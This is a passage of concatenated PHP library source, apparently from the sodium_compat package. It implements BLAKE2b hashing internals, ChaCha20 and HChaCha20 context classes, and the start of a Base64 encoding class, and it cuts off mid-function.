     * @param int $low
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function new64($high, $low)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $i64 = new SplFixedArray(2);
        $i64[0] = $high & 0xffffffff;
        $i64[1] = $low & 0xffffffff;
        return $i64;
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return SplFixedArray
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    protected static function add64($x, $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $l = ($x[1] + $y[1]) & 0xffffffff;
        return self::new64(
            (int) ($x[0] + $y[0] + (
                ($l < $x[1]) ? 1 : 0
            )),
            (int) $l
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @param SplFixedArray $z
     * @return SplFixedArray
     */
    protected static function add364($x, $y, $z)
    {
        return self::add64($x, self::add64($y, $z));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function xor64(SplFixedArray $x, SplFixedArray $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if (!is_numeric($x[0])) {
            throw new SodiumException('x[0] is not an integer');
        }
        if (!is_numeric($x[1])) {
            throw new SodiumException('x[1] is not an integer');
        }
        if (!is_numeric($y[0])) {
            throw new SodiumException('y[0] is not an integer');
        }
        if (!is_numeric($y[1])) {
            throw new SodiumException('y[1] is not an integer');
        }
        return self::new64(
            (int) (($x[0] ^ $y[0]) & 0xffffffff),
            (int) (($x[1] ^ $y[1]) & 0xffffffff)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $c
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function rotr64($x, $c)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if ($c >= 64) {
            $c %= 64;
        }
        if ($c >= 32) {
            /** @var int $tmp */
            $tmp = $x[0];
            $x[0] = $x[1];
            $x[1] = $tmp;
            $c -= 32;
        }
        if ($c === 0) {
            return $x;
        }

        $l0 = 0;
        $c = 64 - $c;

        /** @var int $c */
        if ($c < 32) {
            $h0 = ((int) ($x[0]) << $c) | (
                (
                    (int) ($x[1]) & ((1 << $c) - 1)
                        <<
                    (32 - $c)
                ) >> (32 - $c)
            );
            $l0 = (int) ($x[1]) << $c;
        } else {
            $h0 = (int) ($x[1]) << ($c - 32);
        }

        $h1 = 0;
        $c1 = 64 - $c;

        if ($c1 < 32) {
            $h1 = (int) ($x[0]) >> $c1;
            $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1);
        } else {
            $l1 = (int) ($x[0]) >> ($c1 - 32);
        }

        return self::new64($h0 | $h1, $l0 | $l1);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @return int
     * @psalm-suppress MixedOperand
     */
    protected static function flatten64($x)
    {
        return (int) ($x[0] * 4294967296 + $x[1]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    protected static function load64(SplFixedArray $x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param SplFixedArray $u
     * @return void
     * @psalm-suppress MixedAssignment
     */
    protected static function store64(SplFixedArray $x, $i, SplFixedArray $u)
    {
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            /*
               [0, 1, 2, 3, 4, 5, 6, 7]
                    ... becomes ...
               [0, 0, 0, 0, 1, 1, 1, 1]
            */
            /** @var int $uIdx */
            $uIdx = ((7 - $j) & 4) >> 2;
            $x[$i]   = ((int) ($u[$uIdx]) & 0xff);
            if (++$i > $maxLength) {
                return;
            }
            /** @psalm-suppress MixedOperand */
            $u[$uIdx] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (self::flatten64($ctx[1][0]) < $inc) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            $ctx[3][$i+$ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );
        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     * @throws TypeError
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, int|string> $arr
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, array<int, int>> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $str .= self::store32_le($ctxA[$i][1]);
            $str .= self::store32_le($ctxA[$i][0]);
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctxA = $ctx[$i]->toArray();
            $str .= self::store32_le($ctxA[0][1]);
            $str .= self::store32_le($ctxA[0][0]);
            $str .= self::store32_le($ctxA[1][1]);
            $str .= self::store32_le($ctxA[1][0]);
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = (int) $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = SplFixedArray::fromArray(
                array(
                    self::load_4(
                        self::substr($string, (($i << 3) + 4), 4)
                    ),
                    self::load_4(
                        self::substr($string, (($i << 3) + 0), 4)
                    )
                )
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4))
                )
            );
            $ctx[$i][0] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4))
                )
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, int>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = 0x61707865;
        $this->container[1]  = 0x3320646e;
        $this->container[2]  = 0x79622d32;
        $this->container[3]  = 0x6b206574;
        $this->container[4]  = self::load_4(self::substr($key, 0, 4));
        $this->container[5]  = self::load_4(self::substr($key, 4, 4));
        $this->container[6]  = self::load_4(self::substr($key, 8, 4));
        $this->container[7]  = self::load_4(self::substr($key, 12, 4));
        $this->container[8]  = self::load_4(self::substr($key, 16, 4));
        $this->container[9]  = self::load_4(self::substr($key, 20, 4));
        $this->container[10] = self::load_4(self::substr($key, 24, 4));
        $this->container[11] = self::load_4(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = 0;
            $this->container[13] = 0;
        } else {
            $this->container[12] = self::load_4(self::substr($counter, 0, 4));
            $this->container[13] = self::load_4(self::substr($counter, 4, 4));
        }
        $this->container[14] = self::load_4(self::substr($iv, 0, 4));
        $this->container[15] = self::load_4(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = self::load_4(self::substr($counter, 0, 4));
        }
        $this->container[13] = self::load_4(self::substr($iv, 0, 4));
        $this->container[14] = self::load_4(self::substr($iv, 4, 4));
        $this->container[15] = self::load_4(self::substr($iv, 8, 4));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core_HChaCha20 extends ParagonIE_Sodium_Core_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key = '', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = 0x61707865;
            $ctx[1] = 0x3320646e;
            $ctx[2] = 0x79622d32;
            $ctx[3] = 0x6b206574;
        } else {
            $ctx[0] = self::load_4(self::substr($c,  0, 4));
            $ctx[1] = self::load_4(self::substr($c,  4, 4));
            $ctx[2] = self::load_4(self::substr($c,  8, 4));
            $ctx[3] = self::load_4(self::substr($c, 12, 4));
        }
        $ctx[4]  = self::load_4(self::substr($key,  0, 4));
        $ctx[5]  = self::load_4(self::substr($key,  4, 4));
        $ctx[6]  = self::load_4(self::substr($key,  8, 4));
        $ctx[7]  = self::load_4(self::substr($key, 12, 4));
        $ctx[8]  = self::load_4(self::substr($key, 16, 4));
        $ctx[9]  = self::load_4(self::substr($key, 20, 4));
        $ctx[10] = self::load_4(self::substr($key, 24, 4));
        $ctx[11] = self::load_4(self::substr($key, 28, 4));
        $ctx[12] = self::load_4(self::substr($in,   0, 4));
        $ctx[13] = self::load_4(self::substr($in,   4, 4));
        $ctx[14] = self::load_4(self::substr($in,   8, 4));
        $ctx[15] = self::load_4(self::substr($in,  12, 4));
        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        $x0  = (int) $ctx[0];
        $x1  = (int) $ctx[1];
        $x2  = (int) $ctx[2];
        $x3  = (int) $ctx[3];
        $x4  = (int) $ctx[4];
        $x5  = (int) $ctx[5];
        $x6  = (int) $ctx[6];
        $x7  = (int) $ctx[7];
        $x8  = (int) $ctx[8];
        $x9  = (int) $ctx[9];
        $x10 = (int) $ctx[10];
        $x11 = (int) $ctx[11];
        $x12 = (int) $ctx[12];
        $x13 = (int) $ctx[13];
        $x14 = (int) $ctx[14];
        $x15 = (int) $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return self::store32_le((int) ($x0  & 0xffffffff)) .
            self::store32_le((int) ($x1  & 0xffffffff)) .
            self::store32_le((int) ($x2  & 0xffffffff)) .
            self::store32_le((int) ($x3  & 0xffffffff)) .
            self::store32_le((int) ($x12 & 0xffffffff)) .
            self::store32_le((int) ($x13 & 0xffffffff)) .
            self::store32_le((int) ($x14 & 0xffffffff)) .
            self::store32_le((int) ($x15 & 0xffffffff));
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 *
 * We have to copy/paste the contents into the variant files because PHP 5.2
 * doesn't support late static binding, and we have no better workaround
 * available that won't break PHP 7+. Therefore, we're forced to duplicate code.
 */
abstract class ParagonIE_Sodium_Core_Base64_Common
{
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
